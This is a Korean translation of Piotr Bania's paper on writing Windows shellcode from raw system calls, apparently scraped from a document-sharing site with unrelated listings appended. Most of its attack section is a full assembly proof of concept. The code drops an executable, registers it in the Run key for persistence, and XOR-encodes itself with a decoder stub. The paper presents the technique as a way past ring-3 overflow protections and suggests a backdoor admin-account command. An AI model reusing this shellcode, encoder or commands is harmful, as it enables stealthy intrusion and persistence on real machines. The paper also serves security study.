/* */

Size: px
Start display at page:

Download "/* */"

Transcription

1 /* */ 번역 : innovation@wowhacker.org /* */ Windows Syscall Shellcode Piotr Bania Introduction 이문서는표준 API 호출을전혀사용하지않고 Windows 운영체제를위한쉘코드를작성하는것이가능하다는것을보여주기위해작성되었다. 물론, 모든방법이그렇듯이, 이접근방식도장점과단점을모두가지고있다. 이문서에서우리는쉘코드에대해알아보고또한몇가지예제의사용에대해서도소개할것이다. 이문서를완벽히이해하기위해서는 IA-32 어셈블리지식이반드시필요하다. 이문서에나오는모든쉘코드는 Windows XP SP1 에서테스트되었다. 운영체제와서비스 팩레벨에따라방식의차이가있을수있다는것을기억해라, 그리고이런내용들은 우리가진행해나가면서추후에더논의가될것이다. Some Background Windows NT-기반시스템들 (NT/2000/XP/2003 등 ) 은각각의고유한환경을가지고있는, 다양한서브시스템들을다루도록설계되었다. 예를들어, NT 서브시스템중의하나는 Win32이다 ( 일반 Windows 어플리케이션들을위한 ), 다른예로는 POSIX (Unix) 또는 OS/2가있을것이다. 이것이의미하는것은뭘까? 이것은 Windows NT가실제로 OS/2를실행하고 ( 물론적절한 os add-ons를사용해서 ) OS/2 기능들의대부분을지원할수있다는것을의미한다. 그렇다면 OS가개발될때어떤작업들이행해지는것일까? 이같은잠재적인서브시스템전부를지원하기위해서, 마이크로소프트는각서브시스템의 wrapper라고불리는통합된 API 집합만들었다. 따라서, 모든서브시스템은그들이작업하기위해필요로하는모든라이브러리를가지고있는것이다. 예를들어 Win32 어플리케이션이 Win32 서브시스템 API를호출하는경우, 사실은 NT API (native API, 혹은단순히 native) 를호출하는것이다. Native는서브시스템이전혀실행될필요가없다.

2 From native API calls to syscalls 표준 API 호출을전혀사용하지않고쉘코드를작성할수있다는것이사실일까? 음, API에따라다를수있다. Native NT API와그외의것들을호출하지않고그들의작업을수행하는여러 API들이있다. 이것을증명하기위해, KERNEL32.DLL로부터익스포트된 GetCommandLineA API를살펴보자..text:77E7E358 ; S U B R O U T I N E text:77e7e358.text:77e7e358.text:77e7e358 ; LPSTR GetCommandLineA(void).text:77E7E358 public GetCommandLineA.text:77E7E358 GetCommandLineA proc near.text:77e7e358 mov eax, dword_77ed7614.text:77e7e35d retn.text:77e7e35d GetCommandLineA endp 위의 API 루틴은어떠한호출도사용하지않는다. 이루틴이하는것은단지프로그램명령행에대한포인터를리턴하는것이다. 그러나이번에는우리의이론에부합하는예제를살펴보자. TerminateProcess API의디스어셈블리내용에는어떤것이나오는가..text:77E616B8 ; BOOL stdcall TerminateProcess(HANDLE hprocess,uint uexitcode).text:77e616b8 public TerminateProcess.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j.text:77e616b8 ; sub_77ec3509+da p.text:77e616b8.text:77e616b8 hprocess = dword ptr 4.text:77E616B8 uexitcode = dword ptr 8.text:77E616B8.text:77E616B8 cmp [esp+hprocess], 0.text:77E616BD jz short loc_77e616d7.text:77e616bf push [esp+uexitcode] ; 1st param: Exit code.text:77e616c3 push [esp+4+hprocess] ; 2nd param: Handle of process.text:77e616c7 call ds:ntterminateprocess ; NTDLL!NtTerminateProcess

3 보다시피, TerminateProcess API는인자값을전달한후 NTDLL.DLL에의해익스포트된 NtTerminateProcess를호출한다. NTDLL.DLL은 native API이다. 바꾸어말하면, Nt 로시작하는함수는 native API라고부른다 ( Nt 로시작하는함수중몇가지는 ZwAPI이다 NTDLL 라이브러리로부터익스포트되는것들에어떤것이있는지살펴봐라 ). 자이제 NtTerminateProcess를살펴보자..text:77F5C448 public ZwTerminateProcess.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77f68f09+d1 p.text:77f5c448 ; RtlAssert2+B6 p.text:77f5c448 mov eax, 101h ; syscall number: NtTerminateProcess.text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h.text:77F5C452 call edx ; call 7FFE0300h.text:77F5C454 retn 8.text:77F5C454 ZwTerminateProcess endp 사실이 native API 는 eax 에 syscall 숫자를저장하고메모리주소 7FFE0300h 에있는 것을호출한다. 7FFE0300h 에있는것은아래와같다 : 7FFE0300 8BD4 MOV EDX,ESP 7FFE0302 0F34 SYSENTER 7FFE0304 C3 RETN 위의내용은이야기가어떻게진행되는지를보여준다 ; EDX는현재사용자스택포인터이고, EAX는실행시키려는시스템콜이다. SYSENTER 명령어는레벨 0 시스템루틴으로의빠른호출을실행하고, 작업의나머지를수행한다. Operating system differences Windows 2000 ( 그리고 XP 이상의시스템을제외한 NT 기반시스템들 ) 에서 SYSENTER 명령어는사용되지않는다. 그러나, Windows XP 에서는 int 2eh ( 이전방법 ) 이 SYSENTER 명령어로대체되었다. 아래표는 Windows 2000 의 syscall 구현을보여준다 : MOV EAX, SyscallNumber LEA EDX, [ESP+4] INT 2Eh ; requested syscall number ; EDX = params... ; throw the execution to the KM handler

4 RET 4*NUMBER_OF_PARAMS ; return 우리는이미 Windows XP 에서사용되는방법을알고있으나, 내가쉘코드상에서사용하는 방법중의하나는아래와같다. push fn ; push syscall number pop eax ; EAX = syscall number ; this one makes no diff call b ; put caller address on stack b: add [esp],(offset r - offset b) ; normalize stack mov edx, esp ; EDX = stack db 0fh, 34h ; SYSENTER instruction r: add esp, (param*4) ; normalize stack 인텔펜티엄 2 프로세스에서처음소개된것으로알고있다. 본저자가생각하기에확실하진않으나 SYSENTER가애슬론프로세서에서는지원되지않을거라고추측된다. 명령어가특정프로세서상에서사용가능한지아닌지확인하기위해, SEP 플래그검사를사용하는 CPUID 명령어그리고특정 family/model/stepping 검사를사용해라. 인텔에서어떤식으로타입검사를하는지에관한예제가아래에있다 : IF (CPUID SEP bit is set) THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3) THEN SYSENTER/SYSEXIT_NOT_SUPPORTED FI; ELSE SYSENTER/SYSEXIT_SUPPORTED FI; 물론이러한시스템콜번호들의차이점은여러 Windows 운영체제에서뿐만아니라 다음의표가보여주는것처럼여러 Windows 버전사이에서도차이가난다 : Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread Windows NT SP 3 0x3 0x5 0x7 SP 4 0x3 0x5 0x7 SP 5 0x3 0x5 0x7

5 SP 6 0x3 0x5 0x7 SP 0 0x8 0xa 0xc SP 1 0x8 0xa 0xc Windows 2000 SP 2 0x8 0xa 0xc SP 3 0x8 0xa 0xc SP 4 0x8 0xa 0xc SP 0 0x8 0xb 0xd Windows XP SP 1 0x8 0xb 0xd SP 2 0x8 0xb 0xd Windows 2003 Server SP 0 0x8 0xc 0xe SP 1 0x8 0xc 0xe syscall 번호테이블은인터넷에서얻을수있다. 독자들은 metasploit.com 에있는것을 참조하기바란다, 그러나괜찮은다른자료들도있을것이다. Syscall shellcode advantages 이방식을사용하는경우몇가지이점이있다 : 쉘코드는 API 사용을필요로하지않는다, 이것은처리해야할 API 주소가없기때문이다 ( 찾아야하는커널주소 / 파싱해야하는익스포트 / 임포트섹션, 등이존재하지않는다 ). 이런 기능 때문에대부분의 ring3 버퍼오버플로우방지시스템 을우회할수있다. 이런보호매커니즘은버퍼오버플로우공격자체를막지않고, 대신주로가장많이사용되는 API들을후킹하고호출자의주소를체크한다. 이제, 이런검사는쓸모없어질것이다. 왜냐하면당신은요청을커널핸들러에게직접전달하고 Win32 서브시스템으로부터의모든명령어들을 건너뛴다, 실행속도도매우높아진다. ( 비록최신프로세스들에서, 쉘코드의속도를신경쓸사람은없겠지만.) Syscall shellcode disadvantages 이방식에는몇가지불편한점이있다 :

6 크기 -- 이것이가장불편한점이다. 우리가서브시스템 wrapper 전부를 건너뛰기 때문에, 서브시스템 wrapper를대신할우리만의코드가필요하고, 이것은쉘코드의사이즈를증가시킨다. 호환성 위에서작성되었듯이, 운영체제의버전에따라 int 2eh 에서 sysenter 까지여러구현방식들이존재한다. 또한, 시스템콜번호는각 Windows 버전에따라변한다 ( 더자세한내용은레퍼런스섹션을참고해라 ). The ideas 이문서끝부분에있는쉘코드는파일을덤프하고레지스트리키를작성한다. 이작업은생성된파일을컴퓨터재시작후실행시킨다. 많은독자들이왜파일을바로실행시키지않고레지스트리키를저장시키냐고물어볼수있을것이다. 음, syscall을사용하여 win32 어플리케이션을실행시키는것은간단한작업이아니다 NtCreateProcess가이작업을할것이라고생각하지는마라 ; CreateProcess API가어플리케이션을실행시키기위해필요한작업에어떤것이있는지살펴보자 : 1. 프로세스내에서실행될이미지파일 (.exe) 를연다. 2. Windows 실행프로세스오브젝트를생성한다. 3. 초기화된쓰레드를생성한다 ( 스택, 컨텍스트, 그리고 Windows 실행쓰레드오브젝트 ). 4. 생성된프로세스와쓰레드를설정할수있도록 Win32 서브시스템에게생성된프로세스를알려준다. 5. 초기화된쓰레드의실행을시작한다 (CREATE_SUSPENDED 플래그가설정되어있지않다면 ). 6. 생성된프로세스와쓰레드의컨텍스트내에서, 주소공간의초기화작업을마무리하고프로그램의실행을시작한다. 이렇기때문에, 레지스트리를사용하는것이매우쉽고간결하다. 이문서를끝맺는아래의쉘코드는샘플 MessageBox 어플리케이션을생성하나 ( 대개는, PE 구조자체가크기때문에사이즈는증가한다 ) 여기에는여러해결책이있다. 공격자는스크립트파일 (batch/vbs/others) 을생성할수있고 ftp 서버로부터트로이안 / 백도어파일을다운로드할수있으나, 단순히다음과같은여러명령어들을실행할수도있다 : net user /add piotr test123 & net localgroup /add administrators piotr. 이런방법은독자들이최적화하는데도움이될것이다, 이제우리는이문서에서얘기한쉘코드의개념을증명해보자.

7 The shellcode - Proof Of Concept comment $ $ WinNT (XP) Syscall Shellcode - Proof Of Concept Written by: Piotr Bania include my_macro.inc include io.inc ; --- CONFIGURE HERE ; If you want to change something here, you need to update size entries written above. FILE_PATH equ "?? C: b.exe",0 ; dropper SHELLCODE_DROP equ "D: asm shellcodexxx.dat" ; where to drop ; shellcode REG_PATH equ " Registry Machine Software Microsoft Windows CurrentVersion Run",0 ; KEY_ALL_ACCESS equ 0000f003fh ; const value _S_NtCreateFile equ h ; syscall numbers for _S_NtWriteFile equ h ; Windows XP SP1 _S_NtClose _S_NtCreateSection _S_NtCreateKey _S_NtSetValueKey _S_NtTerminateThread _S_NtTerminateProcess equ h equ h equ h equ f7h equ h equ macro fn, param ; syscall implementation local b, r ; for Windows XP push fn pop eax ; makes no diff call b b: add [esp],(offset r - offset b) mov edx, esp db 0fh, 34h r: add esp, (param*4)

8 endm path struc ; some useful structs p_path dw MAX_PATH dup (?) ; converted from C headers path object_attributes ends struc oa_length dd? oa_rootdir dd? oa_objectname dd? oa_attribz dd? oa_secdesc dd? oa_secqos dd? object_attributes pio_status_block ends struc psb_ntstatus dd? psb_info dd? pio_status_block ends unicode_string struc us_length dw? dw? us_pstring dd? unicode_string ends call crypt_and_dump_sh ; xor and dump shellcode sc_start proc local u_string :unicode_string local fpath :path ; local variables ; (stack based) local rpath :path local obj_a :object_attributes local iob :pio_status_block local fhandle :DWORD local rhandle :DWORD sub ebp,500 push FILE_PATH_ULEN pop [u_string.us_length] push 255 pop [u_string.us_length+2] lea edi,[fpath] ; allocate space on stack ; set up unicode string ; length ; set up unicode max string ; length ; EDI = ptr to unicode file

9 push edi pop [u_string.us_pstring] call a_p1 ; path ; set up the unciode entry ; put file path address a_s: db FILE_PATH ; on stack FILE_PATH_LEN equ $ - offset a_s FILE_PATH_ULEN equ 18h a_p1: pop esi ; ESI = ptr to file path push FILE_PATH_LEN pop ecx ; (ascii one) ; ECX = FILE_PATH_LEN xor eax,eax ; EAX = 0 a_lo: lodsb ; begin ascii to unicode stosw loop a_lo lea edi,[obj_a] lea ebx,[u_string] push 18h pop [edi.oa_length] push ebx ; conversion do not forget ; to do sample align ; EDI = object attributes st. ; EBX = unicode string st. ; sizeof(object attribs) ; store ; store the object name pop [edi.oa_objectname] ; rootdir = NULL pop [edi.oa_rootdir] ; secdesc = NULL pop [edi.oa_secdesc] ; secqos = NULL pop [edi.oa_secqos] push 40h ; attributes value = 40h pop [edi.oa_attribz] lea ecx,[iob] push 60h push 05h push 80h push ecx ; ECX = io status block ; ealength = null ; eabuffer = null ; create options ; create disposition ; share access = NULL ; file attributes ; allocation size = NULL ; io status block

10 push edi push 0C h ; object attributes ; desired access lea esi,[fhandle] push _S_NtCreateFile, 11 lea ecx,[iob] push main_exploit_s call a3 ; (out) file handle ; execute syscall ; ecx = io status block ; key = null ; byte offset = null ; length of data ; ptr to dropper body s1: include msgbin.inc ; dopper data main_exploit_s equ $ - offset s1 a3: push ecx ; io status block push dword ptr _S_NtWriteFile, 9 mov edx,edi lea edi,[rpath] push edi pop [u_string.us_pstring] push REG_PATH_ULEN ; apc context = null ; apc routine = null ; event = null ; file handle ; execute the syscall ; edx = object attributes ; edi = registry path ; store the pointer ; into unicode struct ; store new path len pop [u_string.us_length] call a_p2 ; store the ascii reg path a_s1: db REG_PATH ; pointer on stack REG_PATH_LEN equ $ - offset a_s1 REG_PATH_ULEN equ 7eh a_p2: pop esi ; esi ptr to ascii reg path push REG_PATH_LEN pop ecx ; ECX = REG_PATH_LEN a_lo1: lodsb ; little ascii 2 unicode stosw ; conversion loop a_lo1 ; disposition = null ; create options = null

11 push edx push KEY_ALL_ACCESS ; class = null ; title index = null ; object attributes struct ; desired access lea esi,[rhandle] push esi ; (out) _S_NtCreateKey,6 lea ebx,[fpath] lea ecx,[fhandle] ; EBX = file path ; ECX = file handle pop [ecx] push FILE_PATH_ULEN - 8 ; nullify file handle ; push the unicode len ; without 8 (no '?? ') push ebx ; file path add [esp],8 ; without '??' push REG_SZ ; type ; title index = NULL push ecx ; value name = NULL = default push dword ptr _S_NtSetValueKey,6 ; key handle ; set they key value dec eax ; exit status code ; process handle ; -1 current _S_NtTerminateProcess,2 ; maybe you want ; TerminateThread instead? ssc_size sc_start equ $ -offset sc_start endp exit: push ExitProcess crypt_and_dump_sh: ; this gonna' xor ; the shellcode and mov edi,(offset sc_start - 1) mov ecx,ssc_size ; add the decryptor ; finally shellcode file ; will be dumped

12 xor_loop: inc edi xor byte ptr [edi],96h loop xor_loop _fcreat SHELLCODE_DROP,ebx _fwrite ebx,sh_decryptor,sh_dec_size ; some of my old crazy ; io macros _fwrite ebx,sc_start,ssc_size _fclose ebx jmp exit sh_decryptor: xor ecx,ecx ; that's how the decryptor ; looks like mov cx,ssc_size fldz sh_add: fnstenv [esp-12] ; fnstenv decoder pop edi add edi,sh_dec_add sh_dec_loop: inc edi xor byte ptr [edi],96h loop sh_dec_loop sh_dec_add equ ($ - offset sh_add) + 1 sh_dec_size equ $ - offset sh_decryptor end start Final words 당신이이문서를재밌게읽었기를바란다. 만약질문이있다면주저하지말고나에게연락하기바란다 ; 또한코드는순수하게학습목적으로개발된것임을명심해라. Further reading 1. Inside the Native API by Mark Russinovich 2. MSDN from Microsoft 3. Interactive Win32 syscall page from Metasploit About the author

13 Piotr Bania 는 5 년의실무경험을가진폴란드의프리랜서 IT 보안 / 안티 - 바이러스연구원이다. 그는 RealPlayer 와같은대중적인어플리케이션들에서매우심각한보안취약점들을여럿 발견했다. 더자세한정보는그의웹사이트에서찾을수있다.

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

OPCTalk for Hitachi Ethernet 1 2. Path. DCOMwindow NT/2000 network server. Winsock update win95. . . 3 Excel CSV. Update Background Thread Client Command Queue Size Client Dynamic Scan Block Block

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 2... ( ). ( ). @ vs. logic data method variable behavior attribute method field Flow (Type), ( ) member @ () : C program Method A ( ) Method B ( ) Method C () program : Java, C++, C# data @ Program

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

Microsoft PowerPoint - a9.ppt [호환 모드]

Microsoft PowerPoint - a9.ppt [호환 모드] 9.1 이장의내용 9 장. 스트링과배열 스트링프리미티브명령어 2 차원배열 정수배열검색및정렬 컴퓨터정보통신 어셈블리언어 2 9.2 스트링프리미티브명령어 String Primitive Instructions 의동작 String Primitive Instructions Instructions 설명 동작 MOVS(B,W,D) Move string data M[EDI]

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date

More information

=

= written by vangelis(vangelis@wowhacker.org) 0 0000 8 1000 1 0001 9 1001 2 0010 10 1010 3 0011 11 1011 4 0100 12 1100 5 0101 13 1101 6 0110 14 1110 7 0111 15 1111 110112 + 100012 = 1011002 110 0000 0101

More information

PRO1_09E [읽기 전용]

PRO1_09E [읽기 전용] Siemens AG 1999 All rights reserved File: PRO1_09E1 Information and - ( ) 2 3 4 5 Monitor/Modify Variables" 6 7 8 9 10 11 CPU 12 Stop 13 (Forcing) 14 (1) 15 (2) 16 : 17 : Stop 18 : 19 : (Forcing) 20 :

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

저자는 코드나 정보제공에 있어서의 모든 행동에 대해 책임을 지지 않습니다

저자는 코드나 정보제공에 있어서의 모든 행동에 대해 책임을 지지 않습니다 Exploiting Windows Device Drivers By Piotr Bania http://pb.specialised.info "By the pricking of my thumbs, something wicked this way comes..." "Macbeth", William Shakespeare. Univ.Chosun

More information

Microsoft PowerPoint - o8.pptx

Microsoft PowerPoint - o8.pptx 메모리보호 (Memory Protection) 메모리보호를위해 page table entry에 protection bit와 valid bit 추가 Protection bits read-write / read-only / executable-only 정의 page 단위의 memory protection 제공 Valid bit (or valid-invalid bit)

More information

Deok9_PE Structure

Deok9_PE Structure PE Structure CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 1. PE > 1) PE? 2) PE 3) PE Utility

More information

DocsPin_Korean.pages

DocsPin_Korean.pages Unity Localize Script Service, Page 1 Unity Localize Script Service Introduction Application Game. Unity. Google Drive Unity.. Application Game. -? ( ) -? -?.. 준비사항 Google Drive. Google Drive.,.. - Google

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

Figure 5.01

Figure 5.01 Chapter 4: Threads Yoon-Joong Kim Hanbat National University, Computer Engineering Department Chapter 4: Multithreaded Programming Overview Multithreading Models Thread Libraries Threading Issues Operating

More information

Microsoft PowerPoint - a5a.ppt [호환 모드]

Microsoft PowerPoint - a5a.ppt [호환 모드] 5 장프로시저 (1) 책의라이브러리사용 5 장전반부 : 책의링크라이브러리 외부링크라이브러리개요 라이브러리프로시저호출 라이브러리링크 라이브러리프로시저 예제 연세대학교컴퓨터정보통신어셈블리언어 2 저자제공링크라이브러리 라이브러리파일 어셈블된프로시저를포함하고있는 OBJ 파일들을모아놓은파일 ( 확장자.LIB) 각 OBJ file 에는하나이상의 procedure 가들어있음

More information

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

No Slide Title

No Slide Title Copyright, 2001 Multimedia Lab., CH 3. COM object (In-process server) Eun-sung Lee twoss@mmlab.net Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea 0. Contents 1.

More information

Chap04(Signals and Sessions).PDF

Chap04(Signals and Sessions).PDF Signals and Session Management 2002 2 Hyun-Ju Park (Signal)? Introduction (1) mechanism events : asynchronous events - interrupt signal from users : synchronous events - exceptions (accessing an illegal

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft PowerPoint - 15-MARS

